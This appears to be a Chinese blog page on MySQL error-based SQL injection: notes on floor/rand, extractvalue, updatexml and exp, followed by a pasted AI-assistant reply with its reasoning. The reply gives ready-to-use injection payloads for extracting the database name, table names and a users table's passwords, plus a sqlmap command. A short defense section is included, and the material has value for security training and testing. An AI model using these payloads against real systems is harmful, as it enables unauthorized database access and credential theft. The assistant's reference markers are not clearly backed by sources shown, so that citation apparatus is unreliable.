报错注入常见函数原理

floor函数

select count(*),(floor(rand(0)*2))x from table group by x;

select查询语句
group by进行分组(相同为一组)
rand()生成0到1的随机数
floor()返回整数
count()对数据整合(类似去重)

产生原因:mysql在执行该语句会建立一个虚拟表,表中有两个字段(一个是分组的值和一个计数的值),当分组已经存在后就会爆错。

参考:http://www.cnblogs.com/sfriend/p/11365999.html

extractvalue函数

限制长度为32位

and extractvalue(1,concat(0x7e,(select user()),0x7e));

该参数接受两个字符串参数,一个xml标记片段和一个xpath表达式,而第二参数要求xpath格式字符串,而我们不是所以报错。

参考:https://www.cnblogs.com/xishaonian/p/6250444.html

updatexml函数

限制长度为32位

and updatexml(1,concat(0x7e,(select user()),0x7e),1)

updatexml(1,2,3)第一个参数是string格式,为xml文档对象的名称,第二个参数为xpath格式的字符串,第三个string格式,替换查找到的符合条件的数据,由于第二个参数要xpath格式的字符串,因为不符合规则所以报错。

参考:http://blog.csdn.net/qq_37873738/article/details/88042610

name_const函数

只可获取数据库的版本信息

exp函数

exp(~(select * from(select user())a))

exp(int)该函数会返回值得x次方结果,当值超过mysql的范围就会爆错,上面payload的意思为:先查询user()的数据取名为a再select * from a将结果集a全部查询出来。

报错函数:
floor()
extractvalue()
updatexml()
name_const()
join()
exp()
geometry collection()
polygon()
multipoint()
multlinestring()
multpolygon()
linestring()
参考:http://www.mamicode.com/info-detail-2366760.html
<think>好的,我现在需要帮助用户查找关于SQL注入报错函数使用方法和示例。用户已经提供了一些引用内容,我需要结合这些引用来组织回答。 首先,用户提到了四个引用,其中引用1到4都涉及报错注入的不同方面。引用1解释了报错注入的基本原理,引用2和3提到了使用count()和floor()函数的例子,引用4讨论了updatexml和extractvalue函数使用。用户的上一次问题涉及时间盲注,现在转向报错注入,可能是在学习不同类型的注入方法。 我需要确保回答结构清晰,分点说明每个报错函数使用方法,并给出示例。同时,用户需要中文回答,所以要注意用词准确。根据用户提供的引用,报错函数包括floor()+rand()、updatexml、extractvalue等,可能还需要补充其他常见函数如exp()。 接下来,我需要检查每个函数原理、语法、示例payload,以及注意事项。比如,floor(rand()*2)在group by时导致主键冲突,从而引发报错,这个在引用2和3中提到过。updatexml和extractvalue则是利用XPath语法错误来触发报错,这在引用4中有说明。 还要考虑不同数据库的兼容性,比如MySQL和SQL Server是否有不同的函数。用户提供的示例主要是MySQL,所以重点放在MySQL上。此外,需要提到防御措施,帮助用户了解如何防范这类攻击,比如参数化查询和错误信息处理。 用户可能还想知道如何自动化利用这些函数,比如使用sqlmap工具,但问题主要集中在手动使用方法上。因此,示例需要具体,比如如何获取数据库名、表名、字段名,每一步的payload如何构造。 最后,确保回答中的引用标记正确,例如引用[^1]、[^2]等,但根据用户提供的引用内容,可能需要调整引用编号,但用户示例中的引用是[^1]、[^2]、[^3]、[^4],所以保持原样。 总结回答结构: 1. 报错注入原理 2. 常用函数及示例(floor+rand、updatexml、extractvalue、exp) 3. 防御措施 4. 相关问题 需要确保每个函数都有详细的payload示例和解释,并注明对应的引用来源。同时,检查是否有遗漏的函数或方法,如geometrycollection等,但可能用户提供的引用中没有提到,可以暂时不提,或者简要提及。 现在开始组织内容,确保每个部分清晰,使用代码块和表格来展示示例,保持格式正确。</think>#### SQL注入报错函数使用方法详解 --- ### 一、报错注入核心原理 通过构造**特定SQL语句触发数据库报错**,将查询结果直接嵌入错误信息中返回[^1]。核心条件: 1. 应用程序未过滤错误信息(如开启`mysql_error()`输出) 2. 攻击者可控制输入参数 --- ### 二、常用报错函数及Payload示例 #### 1. `floor(rand()*2)` + `GROUP BY`(主键冲突) - **原理**:利用`GROUP BY`分组时产生的临时表主键冲突报错 - **典型Payload**: ```sql id=1' AND (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)-- ``` - 输出示例:`Duplicate entry 'database_name~1' for key 'group_key'`[^2] - **应用场景**: - 获取数据库名、表名、字段名 - 逐字符提取数据(配合`SUBSTRING`函数) #### 2. `updatexml()`(XPath语法错误) - **函数语法**: ```sql UPDATEXML(XML_document, XPath_string, new_value) ``` - **Payload构造**: ```sql id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)-- ``` - 输出示例:`XPATH syntax error: '~root@localhost~'`[^4] - **限制**: - 单次最大输出长度32字符(需配合`SUBSTRING`分段获取) - 仅适用于MySQL 5.1.5+版本 #### 3. `extractvalue()`(XPath语法错误) - **函数语法**: ```sql EXTRACTVALUE(XML_document, XPath_string) ``` - **Payload示例**: ```sql id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version), 0x7e))-- ``` - 输出示例:`XPATH syntax error: '~5.7.36-log~'`[^4] #### 4. `exp()`(数值溢出报错) - **原理**:通过指数函数触发数值溢出错误 - **Payload示例**: ```sql id=1' AND EXP(~(SELECT * FROM (SELECT USER())a))-- ``` - 输出示例:`DOUBLE value is out of range` --- ### 三、分阶段数据提取示例 #### 1. 获取数据库名 ```sql id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e), 1)-- ``` #### 2. 提取表名 ```sql id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- ``` #### 3. 读取字段值 ```sql id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a)-- ``` --- ### 四、防御措施 1. **禁用错误回显**:生产环境关闭`mysql_error()`输出[^4] 2. **参数化查询**: ```python cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) ``` 3. **函数黑名单**:过滤`updatexml`、`extractvalue`等关键词 4. **权限控制**:数据库账户仅授予最小必要权限 --- ### 五、工具辅助 使用`sqlmap`自动化注入(指定报错技术): ```bash sqlmap -u "http://example.com?id=1" --technique=E ``` 参数说明:`--technique=E` 表示使用报错注入技术 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值